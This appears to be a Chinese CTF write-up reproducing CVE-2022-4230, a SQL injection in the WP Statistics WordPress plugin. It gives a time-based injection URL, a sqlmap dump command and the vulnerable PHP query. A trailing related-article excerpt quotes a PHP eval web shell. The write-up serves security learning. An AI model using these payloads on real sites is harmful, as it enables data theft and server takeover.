首页 > 其他分享 >CVE-2022-4230 复现

CVE-2022-4230 复现

时间:2024-08-03 21:40:41浏览次数:7  
标签:nonce search admin DB 2022 wp table CVE 4230

题目描述:

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

根据描述,我们直接去查看wp-admin路由.
使用弱密码爆破发现账号密码都是test,成功登录.
登录以后发现已启用有漏洞的WP Statics.
image

我们上wpscan网站上去查看有关这个漏洞的利用如下

Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

首先访问https://example.com/wp-admin/admin-ajax.php?action=rest-nonce获得一个动态验证码(nonce).
什么是动态验证码(nonce)?nonce是api的一种校验机制,描述如下

(1)nonce为客户端随机生成的验证码,当服务器接收到请求后,会把nonce存储到数据库中,一般使用redis,并设置一个有效期,一般和时间戳timestamp的失效时间保持一致,设为10分钟有效期。
(2)当服务器接收到请求后,用请求中nonce(本文为7878)和redis中的nonce集合做比较,如果已经存在,则拒绝访问接口,只有当10分钟之内第一次使用7878这个动态码,才判定访问有效。

image

然后我们使用这个动态验证码替换NONCE访问http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa
image

然后再次访问并截取http报文,扔到sqlmap里跑一下即可得到flag.
最终的sqlmap命令如下

sqlmap -r http -D wordpress -T flag -C flag --dump

从源码角度分析一下漏洞的成因,sql执行语句如下:

$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));

可以看到并不是参数绑定,而是直接进行拼接的(虽然拼接的比较麻烦).

标签:nonce,search,admin,DB,2022,wp,table,CVE,4230
From: https://www.cnblogs.com/meraklbz/p/18341137

相关文章

  • android studio 2022配置加速
    当前版本AndroidStudioFlamingo|2022.2.1Build#AI-222.4459.24.2221.9862592,builtonMarch31,2023Runtimeversion:17.0.6+0-b2043.56-9586694amd64VM:OpenJDK64-BitServerVMbyJetBrainss.r.o.Windows1010.0GC:G1YoungGeneration,G1OldGeneratio......
  • 1990-2022年 上市公司-战略差异度(原始数据、计算代码、参考文献和最终计算结果)
    上市公司战略差异度是衡量企业在战略制定和实施过程中所展现的独特性和创新性的指标。它体现了公司对市场环境、行业趋势及自身能力的独特见解和战略布局。通过分析上市公司的战略差异度,可以深入理解企业的市场竞争策略、行业定位和发展方向。战略差异度的重要性市场竞争力:战......
  • 2000-2022年 上市公司-投融资期限错配、短债长用、短贷长投(原始数据、计算代码、参考
    上市公司在投融资过程中的管理决策对企业的财务稳定性和长期发展至关重要。投融资期限错配、短债长用和短贷长投是企业在资本运作中可能出现的问题,它们影响着企业的财务结构和风险管理。投融资问题概述投融资期限错配指企业资产与债务的期限不匹配,通常表现为资金来源短期化......
  • 上海计算机学会2022年5月月赛C++乙组T3狼人游戏(二)
    狼人游戏(二)内存限制: 256 Mb时间限制: 1000 ms题目描述有 n 名玩家在玩狼人游戏,有一些玩家的身份是狼人。其余玩家的身份是预言家。游戏的进程中,陆续出现了 m 句发言,每句发言来自于某个玩家,发言的信息是声称另一个玩家的身份是狼人或者是预言家。小爱猜想,狼人的发......
  • DASCTF2022.07赋能赛PWN部分WP
    DASCTF2022.07赋能赛PWN部分WPeyfor程序保护情况64位ida逆向可以看见是一个随机数的逻辑,只要我们猜不对4次就可以进入漏洞函数,但是我感觉这原本可能是==号,让用随机数的那我们就4次不输入一个数就可以进入漏洞函数,这里注意这个a1就是我们进入漏洞函数之前要输入的值,可以看见......
  • 2008-2022年 上市公司-异常审计费用(初始数据,计算代码,参考文献和最终数据)
    异常审计费用指的是实际审计费用与正常审计费用之间的偏差部分,这种偏差可能由多种不可观测因素引起,包括审计师的额外努力、审计师与被审计单位之间的特殊关系,或是被审计单位在市场中的优势地位等。研究异常审计费用与审计质量的关系,对于理解审计市场运作和提高审计透明度具有重......
  • 2000-2022年 上市公司-库存周转率、供应链效率明细数据
    国际化程度是衡量企业在全球市场竞争力和影响力的关键指标。它反映了企业在全球范围内的业务拓展和市场渗透能力。通过分析企业的海外分支机构数量、海外销售收入占比等,可以对企业的国际化程度进行量化评估。国际化程度指标国际化程度1通过海外收入占营业收入的比重来衡量企......
  • 2000-2022年 上市公司-各企业广告支出数据(原始数据、运行代码、最终结果(Excel 和 Dta
    广告支出是企业推广其商品或服务的关键财务活动之一。通过广告,企业能够提升品牌知名度、增强市场影响力,并最终推动销售增长。本数据资源提供了上市公司广告支出的详细数据,为企业市场策略分析和学术研究提供了丰富的信息。广告支出指标AD1:广告支出的自然对数AD1指标通过将......
  • SSCI新质生产力测算数据集(2013-2022年)
    数据来源:参考发表于InternationalReviewofEconomicsandFinance上的文章,基于He和Liu(2024)的做法,构建了一个衡量新质生产力的指标体系,通过熵值法对各个指标进行计算得到各省份新质生产力水平数据。时间跨度:2013-2022年数据范围:省级层面包含指标:样例数据:测算代码:包......
  • CVE-2023-1313
    开启靶场url访问/install来运行安装http://eci-2ze0wqx38em0qticuhug.cloudeci1.ichunqiu.com/install/得知其用户和密码为admin登录查找文件上传位置上传一句话木马文件<?phpechophpinfo();@eval($_POST['flw']);?>下载查看上传木马路径复制路径/storag......